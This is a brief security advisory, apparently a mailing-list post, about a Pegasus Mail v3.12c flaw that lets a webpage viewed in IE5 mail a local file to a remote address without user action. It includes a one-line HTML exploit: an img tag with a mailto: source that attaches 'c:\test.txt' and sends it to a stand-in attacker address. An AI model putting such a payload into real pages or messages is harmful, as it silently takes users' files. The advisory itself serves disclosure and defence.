Pegasus mail file reading vulnerability

SUMMARY The default setup of Pegasus Mail contains a remotely exploitable security hole that allows a remote website to gain copies of files on the users hard drive. DETAILS Version tested: Pegasus Mail v3.12c with IE5.0 When the webpage containing the exploit code is viewed using IE5, Pegasus mail will automatically creates a message which has a copy of the file "c:\test.txt" and is addressed to "hacker () hakersite com" and queues it ready to be sent without any further user intervention If instead of "hacker () hakersite com" we have a local user, "hacker" the message won't be queued but just sent immediately. Exploit code: <img src="mailto:hacker () hakersite com -F c:\test.txt"> Temporary Fix: 1) Don't run Pegasus Mail at the same time as a web browser This is not a complete solution as Pegasus Mail will load up if the exploit code is run, but this at least will be more noticable to the user. Vendor: As I earlier posted a message to vuln-dev giving the basics of this exploit without the realizing the consequeces (at that stage the user had to click on a link for the exploit to come into play), I have decided to publish the full exploit before contacting the vendor. -- Imran Ghory
